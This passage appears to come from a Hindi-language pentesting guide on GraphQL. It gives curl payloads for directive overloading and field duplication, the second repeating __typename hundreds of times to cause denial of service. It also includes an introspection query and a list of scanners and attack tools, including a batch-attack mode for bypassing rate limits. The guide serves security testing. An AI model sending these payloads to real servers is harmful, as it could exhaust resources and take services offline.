-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'

आप सभी घोषित निर्देशों का पता लगाने के लिए एक अंतर्दृष्टि प्रश्न भी भेज सकते हैं:

bash
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'

और फिर कुछ कस्टम का उपयोग करें।

फील्ड डुप्लिकेशन कमजोरियाँ

फील्ड डुप्लिकेशन एक कमजोरियाँ है जहाँ एक GraphQL सर्वर एक ही फील्ड को अत्यधिक दोहराए जाने वाले प्रश्नों की अनुमति देता है। यह सर्वर को हर उदाहरण के लिए फील्ड को पुनः हल करने के लिए मजबूर करता है, जिससे महत्वपूर्ण संसाधनों (CPU, मेमोरी, और डेटाबेस कॉल) की खपत होती है। एक हमलावर सैकड़ों या हजारों दोहराए गए फील्ड के साथ प्रश्न तैयार कर सकता है, जिससे उच्च लोड उत्पन्न होता है और संभावित रूप से सेवा से इनकार (DoS) की स्थिति उत्पन्न हो सकती है।

bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'

Tools

Vulnerability scanners

  • https://github.com/dolevf/graphql-cop: graphql endpoints की सामान्य गलत कॉन्फ़िगरेशन का परीक्षण करें
  • https://github.com/assetnote/batchql: बैच GraphQL क्वेरी और म्यूटेशन करने पर ध्यान केंद्रित करने वाला GraphQL सुरक्षा ऑडिटिंग स्क्रिप्ट।
  • https://github.com/dolevf/graphw00f: उपयोग में लाए जा रहे graphql की फिंगरप्रिंटिंग करें
  • https://github.com/gsmith257-cyber/GraphCrawler: टूलकिट जिसका उपयोग स्कीमाओं को प्राप्त करने और संवेदनशील डेटा की खोज, प्राधिकरण का परीक्षण, ब्रूट फोर्स स्कीमाओं और एक दिए गए प्रकार के लिए पथ खोजने के लिए किया जा सकता है।
  • https://blog.doyensec.com/2020/03/26/graphql-scanner.html: इसे स्टैंडअलोन के रूप में या Burp extension के रूप में उपयोग किया जा सकता है।
  • https://github.com/swisskyrepo/GraphQLmap: इसे CLI क्लाइंट के रूप में भी उपयोग किया जा सकता है ताकि हमलों को स्वचालित किया जा सके: python3 graphqlmap.py -u http://example.com/graphql --inject
  • https://gitlab.com/dee-see/graphql-path-enum: टूल जो GraphQL स्कीमा में एक दिए गए प्रकार तक पहुँचने के विभिन्न तरीकों की सूची बनाता है।
  • https://github.com/doyensec/GQLSpection: InQL के स्टैंडअलोन और CLI मोड का उत्तराधिकारी
  • https://github.com/doyensec/inql: उन्नत GraphQL परीक्षण के लिए Burp extension या python स्क्रिप्ट। Scanner InQL v5.0 का मुख्य भाग है, जहाँ आप एक GraphQL endpoint या एक स्थानीय introspection स्कीमा फ़ाइल का विश्लेषण कर सकते हैं। यह सभी संभावित क्वेरी और म्यूटेशन को स्वचालित रूप से उत्पन्न करता है, उन्हें आपके विश्लेषण के लिए एक संरचित दृश्य में व्यवस्थित करता है। Attacker घटक आपको बैच GraphQL हमले चलाने की अनुमति देता है, जो खराब कार्यान्वित दर सीमाओं को पार करने के लिए उपयोगी हो सकता है: python3 inql.py -t http://example.com/graphql -o output.json
  • https://github.com/nikitastupin/clairvoyance: कुछ Graphql डेटाबेस की मदद से स्कीमा प्राप्त करने की कोशिश करें जो म्यूटेशन और पैरामीटर के नाम सुझाएंगे, भले ही introspection अक्षम हो।

Scripts to exploit common vulnerabilities

Clients

Automatic Tests

https://graphql-dashboard.herokuapp.com/

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें